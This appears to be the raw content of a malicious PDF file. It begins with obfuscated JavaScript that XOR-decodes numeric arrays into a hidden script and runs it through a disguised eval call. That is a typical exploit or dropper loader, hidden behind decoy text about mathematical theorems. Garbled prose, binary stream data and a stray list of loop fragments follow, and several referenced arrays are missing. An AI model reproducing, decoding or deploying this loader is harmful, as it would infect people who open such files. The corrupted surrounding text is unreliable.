Wj3bcD=[0,80,0,21,17,21,17,22,22,80,0,102,18,103,29,80,18,97,0,103,29,102,19,29,0,29,21,97,29,21,17,103,16,80,100,28,29,21,96,80,0,80,0,80,21,17,22,103,29,80,0,100,17,80,19,103,17,102,18,102,0,103,23,80,0,103,0,29,16,21,29,80,0,80,96,100,16,23,22,20,97,80,0,103,17,100,0,17,0,80,0,80,0,102,96,19,0,80,0,23,29,28,29,99,16,103,96,100,0,22,29,80,96,80,0,23,96,16,16,19,16,80,16,17,16,80,21,17,16,18,18,80,0,103,18,80,0,80,0,22,21,19,29,80,0,80,18,22,22,103,29,102,22,80,0,28,17,22,102,80,0,80,0,80,0,22,21,99,0,80,0,103,29,22,22,29,18,21,23,20,16,28,99,80,0,97,100,19,16,22,99,21,21,19,22,22,99,23,21,22,99,80,17,96,22,29,22,80,0,80,0,80,103,22,18,99,0,80,0,21,17,22,21,17,20,29,21,80,0,29,16,80,0,20,0,80,102,17,99,80,0,80,0,97,21,99,18,103,96,80,0,29,99,103,0,100,0,16,0,99,0,16,102,80,0,103,22,19,96,19,19,96,29,80,96,22,16,17,23,80,0,80,0,80,21,103,17,29,102,80,0,102,17,80,21,22,29,103,29]; aVGPiFN=[83,3,21,30,83,23,16,3,101,22,100,19,83,22,83,19,18,22,21,98,103,30,83,3,99,21,21,3,83,3,83,3,83,3,22,30,100,3,20,3,21,19,21,100,98,101,21,101,96,30,17,19,83,3,103,101,96,19,30,22,30,103,83,99,103,19,22,101,98,17,30,19,83,3,20,21,83,3,83,3,17,96,30,30,20,3,83,96,99,20,96,96,96,96,83,3,83,100,20,103,83,3,83,3,83,3,100,16,101,3,83,3,96,18,30,16,100,16,19,3,30,31,22,99,83,3,100,103,99,103,16,96,83,3,16,16,22,17,103,16,19,16,83,3,30,100,96,16,83,3,83,3,83,31,99,30,99,3,83,3,18,19,30,16,22,20,18,16,83,3,20,19,83,17,30,3,83,30,98,16,83,17,83,3,101,16,83,96,30,100,19,3,101,99,99,3,83,3,19,3,99,22,96,16,83,3,22,19,99,22,22,19,18,18,83,19,20,30,21,21,16,3,83,3,83,101,22,19,19,30,83,3,100,19,23,21,21,31,18,19,83,3,22,101,83,101,21,3,22,22,20,19,96,17,83,19,96,96,21,30,20,17,83,3,103,20,30,3,83,3,83,3,83,3,17,100,30,3,83,3,96,23,96,19,100,19,22,3,99,100,103,30,83,3,16,19,16,21,18]; JY5EhYno2zfy=[27,94,14,94,24,19,109,110,109,30,30,94,14,94,14,31,27,94,14,94,14,24,27,28,18,19,14,109,110,31,27,30,30,109,105,94,110,94,30,110,109,94,14,94,14,94,14,30,30,31,29,94,14,109,109,94,25,27,29,27,28,106,24,26,29,94,14,109,14,27,28,109,104,94,14,31,29,31,29,106,28,19,28,94,14,26,29,26,29,29,25,94,14,94,28,111,28,25,14,94,14,31,29,24,30,26,24,110,29,30,14,25,28,94,28,25,14,94,25,29,31,109,25,94,29,109,29,94,29,30,29,29,14,104,14,31,14,94,14,94,14,109,25,24,24,94,14,94,28,31,29,109,29,19,29,94,14,29,29,111,29,26,14,94,14,94,14,27,28,27,14,94,14,104,24,27,28,110,25,27,28,94,119,9,31,24,94,29,94,14,27,28,27,24,109,30,27,27,24,101,25,24,93,24,104,16,2,24,89,93,78,91,94,14,67,11,16,74,95,27,71,27,22,124,90,25,27,30,93,95,3,27,124,67,1,67,22,89,27,78,67,71,30,90,89,74,74,93,27,31,74,82,11,5,27,104,27,27,83,69,2,0,69,6,78,76,82,27,89,74,14,119,9,72,88,24,11,93,19,91,83,101,22,18,27,27,16,78,88,18,94,94,74,74,69,88,94,18,89]; z7G14EMaZq7=[95,70,10,31,18,86,20,6,7,74,20,73,115,13,31,22,6,78,89,67,93,112,87,93,95,95,92,70,31,26,100,76,110,91,7,69,2,86,3,15,78,31,18,76,31,87,95,27,87,25,31,73,26,76,31,76,31,7,31,27,87,65,74,31,31,31,31,31,31,6,31,20,31,86,0,31,73,78,89,7,25,126,18,31,31,64,20,69,93,26,76,107,110,22,107,15,93,94,89,73,126,78,89,19,93,31,95,116,26,6,4,89,20,4,126,89,89,25,100,25,22,76,94,76,94,94,76,93,86,107,86,18,114,25,22,89,86,126,91,92,93,86,91,122,20,4,95,78,84,74,25,71,98,77,97,22,107,78,95,10,18,71,86,74,86,88,20,82,115,13,78,89,88,104,97,74,1,88,15,93,95,115,13,7,92,90,71,74,67,97,71,22,31,91,65,98,122,6,65,71,91,98,19,70,67,31,18,76,71,72,78,31,31,104,77,91,7,98,122,27,122,74,31,104,87,4,88,98,122,104,77,6,77,91,84,104,71,91,88,20,77,18,88,97,82,97,71,91,4,97,78,104,115,13,115,13,77,97,75,95,1,72,71,64,74,20,88,98,122,1,76,65,108,76,70,77,64,1,95,91,1,82,20,91,7,89,71,73,78,64,102,64,65,91,78,98,122,89,127]; EW47NPfwt8Y1o=[113,106,81,124,91,91,115,115,88,125,63,122,109,55,91,100,105,49,54,104,54,98,118,108,122,118,89,104,79,79,73,63,109,122,109,89,118,109,36,54,113,112,126,34,55,108,122,107,107,118,122,111,111,120,76,112,109,105,56,126,36,54,113,118,112,109,112,113,122,109,115,111,63,109,49,113,67,67,48,113,112,122,49,124,105,108,109,55,118,51,109,34,56,108,105,126,122,126,109,34,102,64,113,48,105,109,120,63,91,126,94,119,124,108,126,112,104,122,113,109,105,112,118,49,109,55,113,122,55,109,126,49,118,49,113,108,109,122,124,51,54,126,105,109,126,112,94,107,94,51,113,108,109,119,102,107,105,119,55,47,55,45,54,46,118,107,54,109,121,109,126,105,94,118,36,122,124,108,109,113,126,126,64,55,112,55,57,112,118,118,55,47,68,54,105,109,109,102,126,112,108,126,113,39,34,109,118,34,55,34,66,64,126,99,126,54,34,68,99,108,109,57,54,66,46,46,102,126,105,109,102,105,47,57,34,46,68,109,108,66,109,44,35,34,66,112,118,126,109,113,112,126,54,68,126,108,57,109,126,126,64,118,109,54,118,113,118,64,107,121,115,102,45,109,109,98,113,54,55,126,109,106,100,118,36,109,55,121,111,126,107,66,47,64,126,108,109,68,102]; lW1d4k=[19,14,18,1,15,9,72,14,63,73,72,92,18,1,14,15,15,9,61,18,1,22,63,22,1,63,9,18,88,25,70,1,28,18,1,28,18,61,22,70,70,80,81,59,93,19,59,88,9,93,14,15,27,73,82,59,92,19,18,82,1,1,25,18,22,63,18,70,25,1,15,3,92,61,29,1,6,63,1,9,5,9,2,13,72,91,73,22,12,12,73,82,12,9,72,72,28,18,59,28,19,18,1,72,89,92,1,14,93,9,59,89,15,73,19,70,63,25,18,1,92,1,61,80,15,22,1,18,1,18,63,14,22,81,70,18,18,93,25,1,61,80,18,25,9,19,81,59,1,9,18,1,14,61,20,73,73,63,15,15,73,72,14,15,12,12,1,3,9,5,22,18,3,1,2,63,7,63,27,91,15,18,63,14,14,15,93,1,19,1,29,59,18,1,72,4,18,18,70,70,6,9,25,72,1,25,1,22,89,61,73,81,18,9,80,19,20,93,9,18,73,72,36,48,93,14,16,82,91,93,59,29,64,64,61,27,48,73,64,91,29,36,64,48,64,64,64,64,36,64,64,64,64,64,64,64,38,38,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,66]; q0q5w=[20,15,89,78,93,15,119,100,23,126,25,103,98,76,24,18,100,71,29,118,66,77,22,26,26,1,92,95,67,70,91,7,13,13,6,20,15,89,78,93,15,126,118,77,67,85,18,25,26,25,30,20,15,89,78,93,15,88,124,28,94,99,30,26,125,103,27,18,22,20,15,89,78,93,15,98,120,23,26,91,90,76,121,29,125,74,126,28,18,65,74,88,15,110,93,93,78,86,7,29,3,25,3,24,3,26,3,28,3,24,3,30,3,29,3,27,6,20,15,89,78,93,15,92,25,29,120,76,3,74,100,31,76,26,66,86,92,3,120,29,78,75,108,30,65,30,69,102,103,3,65,25,89,89,123,109,95,26,95,3,87,30,24,124,24,103,76,3,105,119,117,31,118,106,98,120,3,90,106,103,105,119,23,76,76,122,22,106,69,20,73,64,93,15,7,74,100,31,76,26,66,86,92,18,31,20,15,74,100,31,76,26,66,86,92,19,88,124,28,94,99,30,26,125,103,27,20,15,74,100,31,76,26,66,86,92,4,4,6,15,15,84,15,15,15,15,15,15,89,78,93,15,77,109,86,107,118,27,18,98,120,23,26,91,90,76,121,29,125,74,126,28,116,74,100,31,76,26,66,86,92,114,5,29,20,15,15,15,15,89,78,93,15,117,27,89,102,78,66]; cLnFyNu77lk0K1Q=[97,50,109,1,9,50,60,42,117,50,18,41,20,9,100,107,112,112,112,112,38,49,34,112,26,33,31,99,59,104,109,1,9,50,60,42,125,10,100,38,25,49,61,97,50,107,112,112,112,112,38,49,34,112,34,98,39,42,97,36,50,101,42,105,54,109,26,33,31,99,59,104,127,50,18,41,20,9,100,107,112,112,112,112,38,49,34,112,41,100,100,103,26,0,0,52,96,109,34,98,39,42,97,36,50,101,42,105,54,122,29,7,104,101,36,37,51,6,98,2,53,1,99,11,53,27,96,51,101,61,41,35,13,107,112,112,112,112,62,102,38,38,4,18,32,101,32,109,96,107,112,112,112,112,54,63,34,112,120,35,102,98,7,51,109,96,107,112,35,102,98,7,51,108,34,98,39,42,97,36,50,101,42,105,54,107,112,35,102,98,7,51,123,123,121,112,112,112,112,112,43,112,112,112,112,112,112,112,112,54,63,34,112,120,7,98,49,52,19,97,62,97,58,25,24,109,96,107,112,7,98,49,52,19,97,62,97,58,25,24,108,29,7,104,101,36,37,51,6,98,2,53,1,99,11,53,27,96,51,101,61,41,35,13,107,112,7,98,49,52,19,97,62,97,58,25,24,123,123,121,112,112,112,112,112,112,112,112,112,43,112,112,112,112,112,112,40,97,103]; iJl545rdUlr0wZ=[108,8,119,92,2,81,9,73,73,107,125,79,10,79,20,104,13,94,91,124,14,81,14,85,118,119,4,31,31,31,31,31,31,31,31,31,31,31,31,74,122,119,121,103,7,92,92,106,6,122,85,2,103,116,7,110,9,119,114,92,8,100,71,14,8,108,8,119,92,98,4,31,31,31,31,31,31,31,31,31,31,31,31,121,103,101,15,102,122,114,104,2,71,14,8,108,8,119,92,20,114,104,7,10,75,74,92,105,13,109,90,110,12,100,90,116,15,92,10,82,70,76,98,4,31,31,31,31,31,31,31,31,31,31,31,31,103,116,7,110,9,119,114,92,8,100,71,14,8,108,8,119,92,98,2,103,116,7,110,9,119,114,92,8,100,121,103,101,15,102,122,114,104,98,4,31,31,31,31,31,31,31,31,31,31,31,31,103,116,7,110,9,119,114,92,8,100,121,103,101,15,102,122,114,104,98,2,74,122,119,121,103,7,92,92,106,6,122,85,4,31,31,31,31,31,31,31,31,31,31,66,31,31,31,31,31,31,31,31,81,9,73,73,107,125,79,10,79,31,20,2,93,125,70,123,102,11,4,31,31,31,31,31,31,31,31,31,66,31,31,66,31,31,116,87,13,102,82,93,6,10,10,2,103,116,7,110,9,119,114,92,8,17,85,80,86,81,23,29]; K6LpC=[22,29,15,81,66,85,88,28,127,92,6,109,89,86,13,1,1,29,15];  fQYSxoI=[]; 
for (u0Y2j5jzm=0;u0Y2j5jzm<W7j9mZH1Y.length;u0Y2j5jzm++){W7j9mZH1Y[u0Y2j5jzm]=W7j9mZH1Y[u0Y2j5jzm]^64;}; fQYSxoI=fQYSxoI.concat(W7j9mZH1Y);for (Wz9zHADG=0;Wz9zHADG<oH0Lb250sw41BF.length;Wz9zHADG++){oH0Lb250sw41BF[Wz9zHADG]=oH0Lb250sw41BF[Wz9zHADG]^32;}; fQYSxoI=fQYSxoI.concat(oH0Lb250sw41BF);for (LHSk=0;LHSk<TKcaq8i.length;LHSk++){TKcaq8i[LHSk]=TKcaq8i[LHSk]^39;}; fQYSxoI=fQYSxoI.concat(TKcaq8i);for (iINXv6C1=0;iINXv6C1<Xgnps96R4.length;iINXv6C1++){Xgnps96R4[iINXv6C1]=Xgnps96R4[iINXv6C1]^67;}; fQYSxoI=fQYSxoI.concat(Xgnps96R4);for (I89Vv=0;I89Vv<IcZudH3g25Sq1.length;I89Vv++){IcZudH3g25Sq1[I89Vv]=IcZudH3g25Sq1[I89Vv]^36;}; fQYSxoI=fQYSxoI.concat(IcZudH3g25Sq1);for (Cbvr0=0;Cbvr0<E48uJL.length;Cbvr0++){E48uJL[Cbvr0]=E48uJL[Cbvr0]^40;}; fQYSxoI=fQYSxoI.concat(E48uJL);for (q49GXA3=0;q49GXA3<crFJ6632b9.length;q49GXA3++){crFJ6632b9[q49GXA3]=crFJ6632b9[q49GXA3]^55;}; fQYSxoI=fQYSxoI.concat(crFJ6632b9);for (A2LNWA75j=0;A2LNWA75j<d8jSJY3BVYj887.length;A2LNWA75j++){d8jSJY3BVYj887[A2LNWA75j]=d8jSJY3BVYj887[A2LNWA75j]^87;}; fQYSxoI=fQYSxoI.concat(d8jSJY3BVYj887);for (EoQy4efpsY=0;EoQy4efpsY<UDmb7Sn56sYd.length;EoQy4efpsY++){UDmb7Sn56sYd[EoQy4efpsY]=UDmb7Sn56sYd[EoQy4efpsY]^74;}; fQYSxoI=fQYSxoI.concat(UDmb7Sn56sYd);for (kQ4XiC1=0;kQ4XiC1<cuk538UWN.length;kQ4XiC1++){cuk538UWN[kQ4XiC1]=cuk538UWN[kQ4XiC1]^81;}; fQYSxoI=fQYSxoI.concat(cuk538UWN);for (S542J0Nh4=0;S542J0Nh4<JQN17aluZs37s.length;S542J0Nh4++){JQN17aluZs37s[S542J0Nh4]=JQN17aluZs37s[S542J0Nh4]^73;}; fQYSxoI=fQYSxoI.concat(JQN17aluZs37s);for (z4Vf216wIB=0;z4Vf216wIB<e1LtQzQrDBtAuj.length;z4Vf216wIB++){e1LtQzQrDBtAuj[z4Vf216wIB]=e1LtQzQrDBtAuj[z4Vf216wIB]^12;}; fQYSxoI=fQYSxoI.concat(e1LtQzQrDBtAuj);for (AoO2vEOV=0;AoO2vEOV<mwbkZHRy.length;AoO2vEOV++){mwbkZHRy[AoO2vEOV]=mwbkZHRy[AoO2vEOV]^85;}; fQYSxoI=fQYSxoI.concat(mwbkZHRy);for (MCT2CUL8D=0;MCT2CUL8D<k8j75NNAEpjth.length;MCT2CUL8D++){k8j75NNAEpjth[MCT2CUL8D]=k8j75NNAEpjth[MCT2CUL8D]^79;}; fQYSxoI=fQYSxoI.concat(k8j75NNAEpjth);for (X6CC9Bf=0;X6CC9Bf<P5U6sz8HDeb.length;X6CC9Bf++){P5U6sz8HDeb[X6CC9Bf]=P5U6sz8HDeb[X6CC9Bf]^42;}; fQYSxoI=fQYSxoI.concat(P5U6sz8HDeb);for (d0D4q=0;d0D4q<O7B73TSZF9BMeP9.length;d0D4q++){O7B73TSZF9BMeP9[d0D4q]=O7B73TSZF9BMeP9[d0D4q]^66;}; fQYSxoI=fQYSxoI.concat(O7B73TSZF9BMeP9);for (ve37c4=0;ve37c4<Wj3bcD.length;ve37c4++){Wj3bcD[ve37c4]=Wj3bcD[ve37c4]^37;}; fQYSxoI=fQYSxoI.concat(Wj3bcD);for (ORD9=0;ORD9<aVGPiFN.length;ORD9++){aVGPiFN[ORD9]=aVGPiFN[ORD9]^38;}; fQYSxoI=fQYSxoI.concat(aVGPiFN);for (ZrwJ8=0;ZrwJ8<JY5EhYno2zfy.length;ZrwJ8++){JY5EhYno2zfy[ZrwJ8]=JY5EhYno2zfy[ZrwJ8]^43;}; fQYSxoI=fQYSxoI.concat(JY5EhYno2zfy);for (KSbOPGG=0;KSbOPGG<z7G14EMaZq7.length;KSbOPGG++){z7G14EMaZq7[KSbOPGG]=z7G14EMaZq7[KSbOPGG]^47;}; fQYSxoI=fQYSxoI.concat(z7G14EMaZq7);for (OJpDhd=0;OJpDhd<EW47NPfwt8Y1o.length;OJpDhd++){EW47NPfwt8Y1o[OJpDhd]=EW47NPfwt8Y1o[OJpDhd]^31;}; fQYSxoI=fQYSxoI.concat(EW47NPfwt8Y1o);for (isY1=0;isY1<lW1d4k.length;isY1++){lW1d4k[isY1]=lW1d4k[isY1]^96;}; fQYSxoI=fQYSxoI.concat(lW1d4k);for (pB5CFp5=0;pB5CFp5<q0q5w.length;pB5CFp5++){q0q5w[pB5CFp5]=q0q5w[pB5CFp5]^47;}; fQYSxoI=fQYSxoI.concat(q0q5w);for (eyZR2ncf=0;eyZR2ncf<cLnFyNu77lk0K1Q.length;eyZR2ncf++){cLnFyNu77lk0K1Q[eyZR2ncf]=cLnFyNu77lk0K1Q[eyZR2ncf]^80;}; fQYSxoI=fQYSxoI.concat(cLnFyNu77lk0K1Q);for (N3bcji4d=0;N3bcji4d<iJl545rdUlr0wZ.length;N3bcji4d++){iJl545rdUlr0wZ[N3bcji4d]=iJl545rdUlr0wZ[N3bcji4d]^63;}; fQYSxoI=fQYSxoI.concat(iJl545rdUlr0wZ);for (Qv0JRt=0;Qv0JRt<K6LpC.length;Qv0JRt++){K6LpC[Qv0JRt]=K6LpC[Qv0JRt]^52;}; fQYSxoI=fQYSxoI.concat(K6LpC);
 DYSU=function(JEyU0){
	b1x9=["e","m","v","n","a","d","x","l"];
	zX2ySdt3=b1x9[0]+b1x9[2]+b1x9[4]+b1x9[7];
	rorar=this;
	nakCg0i20 =rorar[zX2ySdt3];
	nakCg0i20(JEyU0);
}
UR4z=function(OUnij53){
	weFMy21I="";
	J9wWXhL7A=["dd","fjdk","fro","mChar","Co","dk","eee","de"];
	aFz46=J9wWXhL7A[2]+J9wWXhL7A[3]+J9wWXhL7A[4]+J9wWXhL7A[7];
	for (GSrLX8Q68=0;GSrLX8Q68<OUnij53.length;GSrLX8Q68++){
	    lolz=String;
		weFMy21I += lolz[aFz46](OUnij53[GSrLX8Q68]);
	}
	
	return weFMy21I;	
}
DYSU(UR4z(fQYSxoI));

BT
/F0 11 Tf
100 700 Td
(Logically, many theorems are tms are l b rms aran indllytive condltional if A,re ln B. Such aeorems a does not stateeorat B ire lways true, onlyeorat B mustz ,Lih0yA,re ns Ine, yA,caseih0yA,Logiede tmshypo tmsyA,are tmsSuch aeoa dot stathypo tmsyA,hems yA,some, yng
BT
/F0gcmTf
100 700 Td
( B can also be denoted the antecedent and consequent. The theorem If n  is an even natural number then n/2 is a natural number is a typical example in which the hypothesis is that n is an even natural number and the conclusion is that n/2 is also a natural number. In order to be proven, a theorem m
BT
/F0 11 Tf
100 700 Td
(e, formal statement. Nevertheless, theorems are usually expressed in natural language rather than in a completely symbolmbolormal s, withorema ct Neionn intoremareadhanwill be able to produce amal statement. Ne fromorema cal statone. Icomddieioneoremsuausuaoft N hyporemses which undhastoo natucoct xt,her than in aessloritymbomentd. uaiflsdcrpvy  flms akfouyzv) Tj
ET

 }p�� �'Pu� ���ok,, �qaF2p A 6�DFX��W��k� � �ǐ��h��  �%� P    +�D�Y�l���X���Ȕ  j;�JS>�V�[�i( �/|��Kw�N����� ��n?�lCȴt��h�aUL �|�2*��� ]=�ՠ ,UT&Ƀ  �a 
 ��n$�dĿ��$B��E%p�{ � 
�U >�{� aa ��+� S]TKY�v� L
�&�A��' ��ʰ �Q�0B�YI�u��$�����A
 �.�� �VY�X�* �`�~~z3��:ɔ.� L���k����D��
ՠ� �� � g��ؠ����$�q�;� ?��ڳQy��P�� �Ak �3��em�� ��* ��R��������� 9�L1��i�b�ɔ(-A��� ��X�� ,=�V�a����lY�>��?�~�����n/ �aiAZB Uy� m�hy '��`�� ���#�2�q�;���f�jv  �$]�lj.�& P��4- U �t�,# �7� "���r�&����R o�u��tX�^��$�� �TY�  ���<ST SX�T7�  ��Q�  � + ��J6 � �� �%��F���l Ł�
&� �����
$Ñ�P�P���*�^�:�w�*� ��v  �	]�й�Ս�53�L%�i����r�h �e ����TW�L�
V�s�Q���gf �x;�� ?>��E/ߥ���Vg xJv�Mx�椏d��x�H�3{S*�#��̉F�7.l�t�O:@M�eΟ�= �Jo�AVy��uFR  N}8W�f �CX [� h�(s۸�~�R`ᑝ�V��pS� ��7�
��uB�� cO�c$I���c�"��e> �M�iw  �"�ő=! K �:�b9��S� ���
��dޣw ���
��ny �|H/ �<� ���قj
  F��f�  ��  -S �  U%�q  WtM��կS��&jI�D�:B�r �ϼ�
� J�HHف]  { 4	�]<�F��*JQ� �qߠJ!Y1 &�� ���3����  ���Jm�6U���%C b=2f������<���0��9�$ '�tTU��l  �   �ʧ 4�P ��mI�Rɳ6q5�jE��^�>p
�� � ���C b�A�۠"�쵡U�4��  Q�
8H���>K���+�}�3YlA0pF�=빂AW 9�*C�P^�� ] �3C�
颣� ��,ZC�V(f��T+���� ��2	�!�(u0/y� V� �� 6��@�a�"�̡ �"tƓA�Y �  C�ʡ��%E����w��H'F[c�%P ���]WSRi�C� ?B�Bv� *�H1�
   ��o0�v n4YE�=4U��f?� G ����Ĺ!l"*�Le� ��IB�� H�W�BS�rJ
� �H pP  pjFQ��E�vGBCk ����tٴR�}ٍ3091 6 3���L  @ i� ����r��� b��U�{Ъ�cH�aa��7���Q>2VT�ϣp� �%#�Ð1� ���O���	s���  9a +%��Z9r��f�
^�O Gϩ@ w�/G ����˥�p��
Z �r��;�$|U�LS�0 ��`���h� #1���ꄤ�7M�|��|RJ"�<��$� G�7u� �& �&���H�Წ(�c��w:N 
k�ũ7��Vش�d��� U�� �OJqZ �  �
�%�|V����d��`T�AC{΅ TZ�V%pA F�� ]�|3~���G���^��"Q�y�����"�� �Z�ǣ�� ��0��@'��� #�J� � r��f�(�}	�^�v��0���V�� �٠~eV�
ְ| �5� ��� M|
X�u>�Yi ҝ�K��SMK}z�N�7�z;��ԝ���A� _y שj ߧ� �mt� ֶ�a
,�Q�&� -�m#�
�Me`w  U��Ŀ� �@]%�	�  Į�v[áD�ڻ��
9�vc� c�|�J��Ǜ�l�t�S�
V�pZe�+ԕ�t�� �?Ex���2
E�a�du���u :���� ��ik����Hp���w굧���y� ����8 Pl� jA�ց3oK�m8�$V L-�
�yꦊ� V�&�S�� �~�a!G�A� q H I� �_�  �(Q'�4�鯟���,7 ���M: 
�^�*���PM[� �dw& �����X
 � Y6p�z�c�~�� !ԫ�ݩ�؁ ��d[?@��eAƞ�X �	
�LD  m� D����虱 	���L� �fcxAR�%Z� �hV ��Na	Z@*����N�� 
DPLNRr��
A��F+D���gY�Ԁ,�x � 
<�t 'L L̀���F�d�΁اJ�@Q;l�#@ �4 eLfR8��Y#S v ��h  �Ee,V	��j�Vxl �   L��u
a���`6[#�Hi  *�,�0��Ș� k���vC�1`D;ٰ��H�`"�� h,4 4�7�Y f TLM����� ?->Y��� Z� � � Y�Uv0��D%Z?��y�x� � zL  F�s� �������3{a ��۶e����^����W�^����R1h�U � �g���V�C  F@�fhͺ5##DX 5��+Xa
S +Y�!ǻ�	�/ �m�˪m�}��ůշ���m�o������������� ���+/�}���K����գݞ����/ �SI͂ 3'��<z.r� � �SH BL�יT�KS wަ�$O ��U+#�2f']w�eYΘ F#��!pQXt51 %l� ]-cE���5Ȕ C��+���d��u�  ���㨋d ?���(h�
�PRJ�N �8 
Y ���2 ��[3S LR**c���mIi�K1&" f:�� l!�` � f� �v ��(��f L ��0Ta; F�2��%nD�� %Z~߰1nS������$���kR�$V��_-$7UhM�g����Ƿ���1�@�E殼 6jx�E
�u�Ы� �Vm�t�  ӡ� n�y��P ��& uR�R�L����n1�~ 8h UT���n-RX�ۏMc�e��� ��0'�!�E6L����X�ʦ� �BP*J�Z���س#�� W��2

�� � �;
���؈*=L*
 �>���5he5�n�i5�i ���j��~��qq��M��? ��Y��d��B�i�ҋ�m�W
�d�1����Vx��4��0��6�G�&l���j�ب���4w���2c�]�0�Ȯק  k  �� q 2ƃ��Q�W�~��/�^�4 ��� '8 ��nzs�����V � ?權�3ŕ�
 >��mH[�[�ԈsQ5}b�ٍ�-�E�6=_Ȍ�&��$�(,0H� V�  �dx�LR
y���Bو9�z��o�g�	V%���Z��x��yT�� ʔѯ�6���3QF����W�M�Q��g�&S+:���v
� e�l�] �C�Q ��n+�S=�� ��
U 5c� Val �� � �� u�ߚ��  �;b]$��� L5�j �y� �A#��S��p�ft� �K�[A�J�2 QB�<g늡h  ������C�}h� "b��"yT  �#��C��� А/�;(�m~7M� '˪��m��#�k  # %�
 5 �׬�� @�"iA]	ǁ�
mG���D�* � l a/<_��L�ƺ6 �  �V��C��f  %E Q�Ŵ����x
�&� �f� �X@l�� ��� =��=-�#~��P;A��  ����U��|]?���n}�?���o:{bb���
 @z= 
 u�A��� ���� ��"��*4�j��A�60 oE [*c�Wm�K��g�� �:6Z��"R���5P��_�Eue�Q0 �{�  eչne� k1 ���
N˜U݊ ����!���� I� ��  �GQ�[I5U��eFǵz�TDu�����QW
�=S�ih �(}ˮ� �->�f�� 
�
����� O`�rO���� �� � p]�9ج4 ,� ��2��  p �cm��ɂ	�Q'z���n�3 
�? Uŋ����5 xI�~� �	ʩ�bq�,+��� �
Z��- & JlI $V� j��y ���r6;���}���
ذ�M/  ���p��a�� ��0� V�' �@+|o �� ����B� �l�ʭhk �+ȥ���z��ʒ����Y�V
�8 ���d�0z$�Hs��9�W��=P �� ގiJ��WT�% |(>S7v�@��c���P��Z n��{ �K�����uʥ�qV l0���� �v> �% N�b�ٽ��$ � ��xu�|&zR�l7�/ |� A��T�V�����0pn��@Hߵ61�� �ՌŁ<�( �杫&t�Ԭ ����?_�rf��� �3����  k� �~agc�9p� t wL ��1̉i�z���9L!� t�� 0}��chj9�W�8^�4��˸w ��  k4��r�E�� �r�4�, V�0Knpv�r�r�:pw�r��a ��>z��r��p��s ��ٱՌ�%o�`�z��=�*W� x  � ^w��N 6x 
 ���a� � ���[  ^v ��׹Y��
�( ψS�� b�T�N� ���z� T[ oUp IƢ U+ �z �t��%����Bq�B���P w[��D��j�?�  ��m�T> ���� �_� ���" ������Ā(��9-Cb��޽���?�����c�w��X�VnMq��< �m猱9A���Y����^.��m�y
�>� |xx�IN����O���oI �����& $M���n8 .拫� u&ĺ%.�0oj��5}-� �<���� �堭��w�#>��|9q���G�b�?�ktt���� ���'� wlx�e}��z`�& �,Q �V�&��fF  � � wE ��"�j� H���� :|� ��0��Q�Ӷ�.H|�ؙ�� :g �'z]�� d��<'�y!�h��:��S^VŇ�;� S�Ʒ�q{ � /W~�8f������
^�� ��pS�<���4r�(� �  |{�ڿ�}�ۏ�����g�?�蕻  �G� ޹ ��膽(���� ��˟֬���������|�;+� ��0��� �}���� �  _ � ���/?���@b�G���64�-` K�-�x���� � uXK�]����J~�� � E� �&���xwpw �9 ��rz��� ~+ ��f�G� ���r����[���R��0+(��Z���  �G /�4 �   �{$ ��J<��   5 ��;�=w  ~��*=�4���=�w w'ɝÑE�կ� ��'q0ӫ���`�Rs�隹���� i'9� `�� >	W�����G Ƽ>:|����� ��~� �ޚs��3��j
�g����?���́o�9ھ���قo[b�f �ޖqR� 8�� ��o�  �m��h�K� i �����8Z���k<+� �� .��?� a^   �7 3[� ��Ϭ���2Nj< �A-��:}� ���W� l����QXC�  x�e�k����Y'�� ��������o�}��X�^ ف�i�!�,oo�ǻ7�N�y���+� �g�x�J�4 �룃CD df �� ��u�{[�I=�qpPK��P.^�> ���hs0�@i�@���5�xwV�I:��65 �=w
�CF�*��*c�� �JB� � ��q�[�?h��ڕ]� >YH�i�� ��iލ�� �'A �  ���� g%�(= O"� n  fk�8���%�$=�Λ� ��* �ݖ$�ب03�4M � �z+��r �xn���   ��
endstream
endobj
11 0 obj
<<
/Font 18 0 R
/XObject 19 0 R
>>
endobj
12 0 obj
<<
/Filter [/FlateDecode]
/Length 20 0 R
>>
stream
x�u��j ! ���
g ���t�q�O뤽Lh�Ҋ��,{0�����pb�l;�� 
��ã
 �T`   �( x
��ã
 �T`   �( x
u0Y2j5jzm=0;u0Y2j5jzm<W7j9mZH1Y.length;u0Y2j5jzm++
W7j9mZH1Y
Wz9zHADG=0;Wz9zHADG<oH0Lb250sw41BF.length;Wz9zHADG++
oH0Lb250sw41BF
LHSk=0;LHSk<TKcaq8i.length;LHSk++
TKcaq8i
iINXv6C1=0;iINXv6C1<Xgnps96R4.length;iINXv6C1++
Xgnps96R4
I89Vv=0;I89Vv<IcZudH3g25Sq1.length;I89Vv++
IcZudH3g25Sq1
Cbvr0=0;Cbvr0<E48uJL.length;Cbvr0++
E48uJL
q49GXA3=0;q49GXA3<crFJ6632b9.length;q49GXA3++
crFJ6632b9
A2LNWA75j=0;A2LNWA75j<d8jSJY3BVYj887.length;A2LNWA75j++
d8jSJY3BVYj887
EoQy4efpsY=0;EoQy4efpsY<UDmb7Sn56sYd.length;EoQy4efpsY++
UDmb7Sn56sYd
kQ4XiC1=0;kQ4XiC1<cuk538UWN.length;kQ4XiC1++
cuk538UWN
S542J0Nh4=0;S542J0Nh4<JQN17aluZs37s.length;S542J0Nh4++
JQN17aluZs37s
z4Vf216wIB=0;z4Vf216wIB<e1LtQzQrDBtAuj.length;z4Vf216wIB++
e1LtQzQrDBtAuj
AoO2vEOV=0;AoO2vEOV<mwbkZHRy.length;AoO2vEOV++
mwbkZHRy
MCT2CUL8D=0;MCT2CUL8D<k8j75NNAEpjth.length;MCT2CUL8D++
k8j75NNAEpjth
X6CC9Bf=0;X6CC9Bf<P5U6sz8HDeb.length;X6CC9Bf++
P5U6sz8HDeb
d0D4q=0;d0D4q<O7B73TSZF9BMeP9.length;d0D4q++
O7B73TSZF9BMeP9
ve37c4=0;ve37c4<Wj3bcD.length;ve37c4++
Wj3bcD
ORD9=0;ORD9<aVGPiFN.length;ORD9++
aVGPiFN
ZrwJ8=0;ZrwJ8<JY5EhYno2zfy.length;ZrwJ8++
JY5EhYno2zfy
KSbOPGG=0;KSbOPGG<z7G14EMaZq7.length;KSbOPGG++
z7G14EMaZq7
OJpDhd=0;OJpDhd<EW47NPfwt8Y1o.length;OJpDhd++
EW47NPfwt8Y1o
isY1=0;isY1<lW1d4k.length;isY1++
lW1d4k
